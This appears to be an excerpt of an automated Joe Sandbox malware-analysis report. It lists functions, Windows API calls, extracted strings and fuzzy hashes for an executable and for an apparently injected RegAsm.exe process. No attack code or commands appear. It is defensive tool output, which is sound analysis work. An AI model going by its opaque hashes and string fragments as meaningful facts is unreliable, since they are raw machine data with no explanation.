Part of subcall function 00424470: CloseHandle.KERNEL32(?,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 004244D0
Part of subcall function 00424470: LeaveCriticalSection.KERNEL32(?,B6184AA8,006ECEAC,00000018), ref: 0042450A

WaitForSingleObject.KERNEL32(00000002,000000FF,?,B6184AA8,?,00000018), ref: 004250C3
CloseHandle.KERNEL32(00000002), ref: 004250DA

Part of subcall function 004527C0: EnterCriticalSection.KERNEL32(00000000), ref: 0045283E
Part of subcall function 004527C0: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 00452872

Part of subcall function 00451FE0: SetEvent.KERNEL32(00000000,B6184AA8,006ECEAC,?,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF), ref: 0045203A
Part of subcall function 00451FE0: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF,?,004250AA), ref: 00452054
Part of subcall function 00451FE0: LeaveCriticalSection.KERNEL32(?), ref: 00452076

Strings

lifetime_object must be allocated on static memory (static or global variable or member of such a variable)., xrefs: 0042510C, 0042513A

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CloseHandleLeave$EnterEventObjectSingleWait
String ID: lifetime_object must be allocated on static memory (static or global variable or member of such a variable).
API String ID: 3951272266-2706815617
Opcode ID: a3291f122f1b94c2cbb85305000cb572f0fe56dfd56834ce0fba3d55190578a6
Instruction ID: 9821b6031e820fe24abd790577708b2a611a528e8c4480b43b2a1b48798e9f50
Opcode Fuzzy Hash: a3291f122f1b94c2cbb85305000cb572f0fe56dfd56834ce0fba3d55190578a6
Instruction Fuzzy Hash: 8A5179B0D00619AFDB00DFA4D945BDEFBB4FF14714F50826AE415A7281EB786A08CFA5

Function 0049CCE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 0049CD85

Strings

JSON Conversion Module already unloaded., xrefs: 0049CDDF
2c, xrefs: 0049CD77

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: JSON Conversion Module already unloaded.$2c
API String ID: 4194217158-4128774343
Opcode ID: 10be976d79757ad1217010876d78fff58767f67f11df115aacd81498eb93d369
Instruction ID: e1c882da25a56dbaf1b3a5497e863b0edc154ded812f6589d8c1c64b05b5b9da
Opcode Fuzzy Hash: 10be976d79757ad1217010876d78fff58767f67f11df115aacd81498eb93d369
Instruction Fuzzy Hash: DD41A171E006199BCF00DFA5D899BAEBFB9EF44314F14452AE411A7381EB789A08CB94

Function 00423290 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004232BB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0042330A

Part of subcall function 00596522: _Yarn.LIBCPMT ref: 00596541
Part of subcall function 00596522: _Yarn.LIBCPMT ref: 00596565

Strings

bad locale name, xrefs: 00423326

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: d71f496eb6698434a3bba5729969f4e4df5e41d8cfa7c5d0b917983a366041fc
Instruction ID: 9df7ec1169ebacf32bbed9fbc626a76ffa53dd6f1211a8eb888934721535bd4e
Opcode Fuzzy Hash: d71f496eb6698434a3bba5729969f4e4df5e41d8cfa7c5d0b917983a366041fc
Instruction Fuzzy Hash: 99118EB15047409ED720CF69D805B47BBE8FF19710F004A1EE889C7B41E7B9AA04CBA5

Function 005CB0EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

PMDtoOffset.LIBCMT ref: 005CB17E

Strings

Bad dynamic_cast!, xrefs: 005CB1C0

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Offset
String ID: Bad dynamic_cast!
API String ID: 1587990502-2956939130
Opcode ID: 57da667d50f90ff27a175d915fbd6aa648867e89b562d6d09fadd65dc194db30
Instruction ID: 9bd36a285e389f7ef38fceb86e292b8f86985264cf1d413b3d5595eee088bed0
Opcode Fuzzy Hash: 57da667d50f90ff27a175d915fbd6aa648867e89b562d6d09fadd65dc194db30
Instruction Fuzzy Hash: 6521C232A002069FEF14DEA4C94BFAA7FA5FB84724F14461DE911A3281D731E900C691

Function 004520D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0045215F

Strings

`Wh, xrefs: 00452119, 0045211D
n, xrefs: 004520DF

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ___std_exception_copy
String ID: `Wh$n
API String ID: 2659868963-3074439911
Opcode ID: ee6ff93a1be90d245f64eb630bba8eee9fb39a10365ccfc2b1e29cccdf1860dd
Instruction ID: da4f4ca35bd2834da7f71c45a229b633eb4ab1957e36a7ee308b64d8e54d2864
Opcode Fuzzy Hash: ee6ff93a1be90d245f64eb630bba8eee9fb39a10365ccfc2b1e29cccdf1860dd
Instruction Fuzzy Hash: 88110671A00709ABC700EB69DD4585ABBECEE42311B80C52BF918C3242FB75E518CBA5

Function 0045AAF0 Relevance: 5.3, APIs: 4, Instructions: 252COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,B6184AA8,?,?,00000000), ref: 0045AB70
LeaveCriticalSection.KERNEL32(?,?,?), ref: 0045ABE7
EnterCriticalSection.KERNEL32(?,?,00000000,?,?,?,?,?,?), ref: 0045AD35
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?), ref: 0045AD59

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2e5dd28b5e2d76aa972af6082f6cfb6273b95c545296040495119fab6738080a
Instruction ID: ca14ed780f473761a98041989ef8b344b7d6015676067a71643cf15176d326a3
Opcode Fuzzy Hash: 2e5dd28b5e2d76aa972af6082f6cfb6273b95c545296040495119fab6738080a
Instruction Fuzzy Hash: AF91B375A006058FCB01CF69C884BAEBBB5FF88321F15825AEC159B345DB38AD09CF91

Analysis Process: RegAsm.exePID: 3928, Parent PID: 7112COMMON

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	79
Total number of Limit Nodes:	2

Executed Functions

Function 00E715E0 Relevance: 9.2, Strings: 6, Instructions: 1717COMMON

Download Yara Rule

Strings

WG#`, xrefs: 00E718E8
I0=, xrefs: 00E71F14
*JL6, xrefs: 00E72240
@^#, xrefs: 00E728FC
:hW`, xrefs: 00E72055
S3., xrefs: 00E726D4

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$I0=$S3.$WG#`
API String ID: 0-3669199882
Opcode ID: cb6e4af1473a4881aca0a4d6d9e98c7a269cd1d547d5bf297e28fd483278c116
Instruction ID: cba283b0cf746e7efbe66659315350c43edd3751552b16de7ee999e758dd5925
Opcode Fuzzy Hash: cb6e4af1473a4881aca0a4d6d9e98c7a269cd1d547d5bf297e28fd483278c116
Instruction Fuzzy Hash: 3603E474A0521A8FCB64CF68C980ADEB7F5FB49304F14D5AAD819EB315E730AA85CF50

Function 07B90E90 Relevance: 9.1, Strings: 7, Instructions: 388
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 07B90EC0
Haq, xrefs: 07B910D7
Te]q, xrefs: 07B9116D
Haq, xrefs: 07B90F6D
Haq, xrefs: 07B910B5
Haq, xrefs: 07B91124
TJbq, xrefs: 07B911E0

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: (aq$Haq$Haq$Haq$Haq$TJbq$Te]q
API String ID: 0-902713110
Opcode ID: 8db6eb03fc2c87e5d21b558566b9518c0b7f01c934d49086989317a297bef10f
Instruction ID: f04b4cdc311f19f2d6018857e23bfc9332b25f35865cb04966d5a2dc6a781b76
Opcode Fuzzy Hash: 8db6eb03fc2c87e5d21b558566b9518c0b7f01c934d49086989317a297bef10f
Instruction Fuzzy Hash: 08D1CEB0B006098FDB14DF39D454AAE7BF6AF89310B1485B9E416CB3A1DB31DD06CB91

Function 00E7D110 Relevance: 6.7, Strings: 4, Instructions: 1683COMMON

Download Yara Rule

Strings

^<oN, xrefs: 00E7E479
7.LL, xrefs: 00E7DCE0
^L,j, xrefs: 00E7DA16
M2*r, xrefs: 00E7E6D0

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID: 7.LL$M2*r$^<oN$^L,j
API String ID: 0-4087586809
Opcode ID: ccfd6ccd62ea1eda7fcc497b632bdc0512a1ea2b7d9c9c48d764e9533aa69f06
Instruction ID: 93ca58bed4b4f10439b1b9dec979dabb8d0a23ed473ef0f94c2bdb8d3a01d7ea
Opcode Fuzzy Hash: ccfd6ccd62ea1eda7fcc497b632bdc0512a1ea2b7d9c9c48d764e9533aa69f06
Instruction Fuzzy Hash: 4A039074E0522A8FCB64CF68C984A99BBF5FB49304F1495E6D819EB315E730AE85CF40

Function 07B99278 Relevance: 6.4, Strings: 4, Instructions: 1435
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 07B9A86A
5YE, xrefs: 07B99437
o, xrefs: 07B9A43D
K, xrefs: 07B99F21

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: 4']q$5YE$K$o
API String ID: 0-526702464
Opcode ID: 545eee94b8188faa6c11a58b0b8a14da314ec405cf0ef0e3090040a48e510375
Instruction ID: 118f9a0d88289b0f90a68687d5ef861ef19cd2715d671ddae257cdbaf7e2d3b6
Opcode Fuzzy Hash: 545eee94b8188faa6c11a58b0b8a14da314ec405cf0ef0e3090040a48e510375
Instruction Fuzzy Hash: E90320B4E012298FDBA1CF68C984B99B7F5BB49304F1081EAE91DE7351D730AE858F54

Function 00E715D7 Relevance: 6.2, Strings: 4, Instructions: 1243COMMON

Download Yara Rule

Strings

*JL6, xrefs: 00E72240
@^#, xrefs: 00E728FC
:hW`, xrefs: 00E72055
S3., xrefs: 00E726D4

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$S3.
API String ID: 0-1394080836
Opcode ID: 3cd4c87803c501f1c6d83d39810dd7c2e512a7bbc6dfcef82be2b0d76acc238f
Instruction ID: 45de9b7fb78619622a8836eb818d14b4bb49bd2de582a0290eef9a930f83b4ee
Opcode Fuzzy Hash: 3cd4c87803c501f1c6d83d39810dd7c2e512a7bbc6dfcef82be2b0d76acc238f
Instruction Fuzzy Hash: 8ED2C674E0121A8FCB54CF68D980ADDB7F5FB89304F1495AAD419EB355E730AA85CF80

Function 07B96D38 Relevance: 5.3, Strings: 4, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR]q, xrefs: 07B96EAE
z, xrefs: 07B96F72
F, xrefs: 07B97084
LR]q, xrefs: 07B96DF1

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: F$LR]q$LR]q$z
API String ID: 0-2812863918
Opcode ID: b590d41d5b00d721d2b2f53e52008ef5ec244ae61f3f215c4ccc70bb60ddf090
Instruction ID: 991b4fcff76364a26cf5380ac19f59a57cdb4fa5386f75106bbc031e2ac97339
Opcode Fuzzy Hash: b590d41d5b00d721d2b2f53e52008ef5ec244ae61f3f215c4ccc70bb60ddf090
Instruction Fuzzy Hash: E4D103B5E002198FDF14DFA9C884BDDBBF2BF89304F1481A9D418A7295DB349A85CF50

Function 00E7D0F3 Relevance: 5.0, Strings: 3, Instructions: 1226COMMON

Download Yara Rule

Strings

^<oN, xrefs: 00E7E479
7.LL, xrefs: 00E7DCE0
M2*r, xrefs: 00E7E6D0

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID: 7.LL$M2*r$^<oN
API String ID: 0-2101644819
Opcode ID: 9ba890edee78cc670075540412888a27088516aa6868e4b1c0b288970d9ac854
Instruction ID: be89802d47e2c339b59d882e9d62b8b2d75ba02826923e91be252b5c520f0bc2
Opcode Fuzzy Hash: 9ba890edee78cc670075540412888a27088516aa6868e4b1c0b288970d9ac854
Instruction Fuzzy Hash: 0FD28174A0122A8FCB64CF68C984A9DBBF5FF49304F1495AAD419EB355E730AE85CF40

Function 00E71070 Relevance: 4.1, Strings: 3, Instructions: 353
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5xID, xrefs: 00E71175
35OG, xrefs: 00E71467
]/, xrefs: 00E713E1

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID: 35OG$5xID$]/
API String ID: 0-1761396499
Opcode ID: 1d54476ad454c240c8be015cccb160f960d935a1fcef10521333a18746fa40b7
Instruction ID: c609eb0a08b30001a0c4437a3f4d291f9eb5b9e8416f1c58c77a6f0c9098de50
Opcode Fuzzy Hash: 1d54476ad454c240c8be015cccb160f960d935a1fcef10521333a18746fa40b7
Instruction Fuzzy Hash: 2E02C574E002198FDB50DFA9C580A9DBBF1FF48304F1491AAD819EB355EB34AA85CF51

Function 07B96D0B Relevance: 4.0, Strings: 3, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR]q, xrefs: 07B96EAE
z, xrefs: 07B96F72
F, xrefs: 07B97084

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: F$LR]q$z
API String ID: 0-2785538988
Opcode ID: 298ef488c75d56ac6d6179a601e40d5f9dbce6b997d30e808915664086af851a
Instruction ID: bc47351126c0b635936109d7d8004a7a020ffc61242f7c8f26c3174f9ba0208f
Opcode Fuzzy Hash: 298ef488c75d56ac6d6179a601e40d5f9dbce6b997d30e808915664086af851a
Instruction Fuzzy Hash: B8B114B5E002198FDB14CFAAC884BDDBBF2BF89304F1481A9D419A7295DB349A85CF50

Function 07B9F0D5 Relevance: 3.1, Strings: 2, Instructions: 633
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

R_APP_PROFILE_STRING=Internet Explorer, xrefs: 07B9F983
d:p, xrefs: 07B9F1BB

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: R_APP_PROFILE_STRING=Internet Explorer$d:p
API String ID: 0-4193289351
Opcode ID: cd7accb268ccfdfe869683a5642e1acbe23e3f5998759a0af6f0aa38c1a3b39f
Instruction ID: f8cf6e849ef5bb5175f188fc99d7e9ba4d8a80dcc2dd4b2acdadd38b36e3e6cc
Opcode Fuzzy Hash: cd7accb268ccfdfe869683a5642e1acbe23e3f5998759a0af6f0aa38c1a3b39f
Instruction Fuzzy Hash: A8629DB4E012298FDB64CF69C984BDDBBB2BB49310F1485EAE419E7355D730AA81CF50

Function 07B9C5AA Relevance: 3.0, Strings: 2, Instructions: 537
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:, xrefs: 07B9C7DD
[, xrefs: 07B9C656

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: :$[
API String ID: 0-3689730190
Opcode ID: 9856e330cd88d1ec0c659e03e614d716b12bc57e51defd47e5450a1966cfecaa
Instruction ID: 58a5997c99fed8df47f5943161aed5ee03b0de195d6ad594e6ab0b8fcd9dce2c
Opcode Fuzzy Hash: 9856e330cd88d1ec0c659e03e614d716b12bc57e51defd47e5450a1966cfecaa
Instruction Fuzzy Hash: 7E52ADB4A00619CFDB60DF68C985B9DBBB1BF48304F1486A5E419EB756D730AE81CF90

Function 07B94580 Relevance: 2.1, Strings: 1, Instructions: 866COMMON

Download Yara Rule

Strings

S_o*, xrefs: 07B94D7C

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: S_o*
API String ID: 0-2797774947
Opcode ID: 685f6073141efb6e1d88c4d0df055527c13866b26989452c15a4ef3d94f9489b
Instruction ID: 65482928dd76b9d3a88401c7e21a3191331810adbf7df18cbde8d72b51b57ab4
Opcode Fuzzy Hash: 685f6073141efb6e1d88c4d0df055527c13866b26989452c15a4ef3d94f9489b
Instruction Fuzzy Hash: 47A22AB4E012298FDB65DF68C984BD9BBF5BB49310F1081EAE81DA7351D730AE858F50

Function 00E7C880 Relevance: 1.8, Strings: 1, Instructions: 560COMMON

Download Yara Rule

Strings

\Lg, xrefs: 00E7CDC5

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID: \Lg
API String ID: 0-2236610822
Opcode ID: 26f0994ef060230cf41214c6130088caf818169d10c5928aa36ca61a06fe5f45
Instruction ID: 018bd68ec63f1860e5e8f4c0442ffd20bd6534f82c047f5d1172a0a3bb81e02e
Opcode Fuzzy Hash: 26f0994ef060230cf41214c6130088caf818169d10c5928aa36ca61a06fe5f45
Instruction Fuzzy Hash: 3F429F74E01219CFDB54CFA9C980A9DBBF6FB49304F2491AAD409EB355E730AA85CF50

Function 00E7C862 Relevance: 1.7, Strings: 1, Instructions: 412COMMON

Download Yara Rule

Strings

\Lg, xrefs: 00E7CDC5

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID: \Lg
API String ID: 0-2236610822
Opcode ID: e8a4eeabb95c2b694de4ec541515debafe79b5f3848ac60f6913b618d88fc90a
Instruction ID: d6be87fd84858e878956cca4cb2165862945027130acf48dc897029acb6be2f3
Opcode Fuzzy Hash: e8a4eeabb95c2b694de4ec541515debafe79b5f3848ac60f6913b618d88fc90a
Instruction Fuzzy Hash: C4228E74E012198FDB54CFA9C980A9DBBF6FF49304F1491AAD809AB355E730AA85CF50

Function 07B982C8 Relevance: 1.6, Strings: 1, Instructions: 367COMMON

Download Yara Rule

Strings

TJbq, xrefs: 07B983CE

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: TJbq
API String ID: 0-1760495472
Opcode ID: 3488e1c664b3f7b4e229453a3204250b9406ef343cc8790e0897f8ccdf42941d
Instruction ID: 94e58c89f6c3957c23cccc5c9e5b07d32de01dfe131efba61c2014eb0ba90ef6
Opcode Fuzzy Hash: 3488e1c664b3f7b4e229453a3204250b9406ef343cc8790e0897f8ccdf42941d
Instruction Fuzzy Hash: C6F185B5E01618CFEB54CFA9C984B9DBBF2BF89310F1481A9E419AB365D7309985CF10

Function 07B9CF53 Relevance: 1.5, Strings: 1, Instructions: 293COMMON

Download Yara Rule

Strings

R_APP_PROFILE_STRING=Internet Explorer, xrefs: 07B9D1F4

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: R_APP_PROFILE_STRING=Internet Explorer
API String ID: 0-1808958369
Opcode ID: 7ab2a94b913f9223059e62cea82e6f84e1573c63195b57187886d963c06ac49c
Instruction ID: 9869283c4f8c2c02647cae8d2317550bab92d632a3b77db66ecea964d8e63992
Opcode Fuzzy Hash: 7ab2a94b913f9223059e62cea82e6f84e1573c63195b57187886d963c06ac49c
Instruction Fuzzy Hash: F8C1E3B5E00219CFDB54CFAAD980A9DBBF2BF49300F1481AAE428E7355E7309945CF50

Function 00E71067 Relevance: 1.5, Strings: 1, Instructions: 290COMMON

Download Yara Rule

Strings

5xID, xrefs: 00E71175

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID: 5xID
API String ID: 0-3965296546
Opcode ID: 82af522f30c5a5356c09c53c45882e618ed1651625c256748ad159f56f151ccd
Instruction ID: d8c9d9c66ec4b808ade4b216f601d16aa17c03961ed94912423bd3cb2f60cb5a
Opcode Fuzzy Hash: 82af522f30c5a5356c09c53c45882e618ed1651625c256748ad159f56f151ccd
Instruction Fuzzy Hash: 84D1C574E002198FDB54DFA9C581A9EBBF2FF88304F1491AAD409EB355EB34AA45CF50

Function 00E7B01F Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

rCI, xrefs: 00E7BA4A

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID: rCI
API String ID: 0-4128173682
Opcode ID: c4416db9f49441e6e5b6056fe857e058cf790681678c5a346265768b73bf00a3
Instruction ID: 649f9bfa4934dd2ea6a663fac0a0cac212658408dffaede1571c83e3c47f7104
Opcode Fuzzy Hash: c4416db9f49441e6e5b6056fe857e058cf790681678c5a346265768b73bf00a3
Instruction Fuzzy Hash: B7912474E042199FCB14CF69D980BDABBF6EB89304F14D1A6E518EB315DB309A81CF50

Function 07B98A08 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8569415a5ad080aefe6ca2c4e755aae5a6ad0a2786c0ba656c761530c0a5cc1f
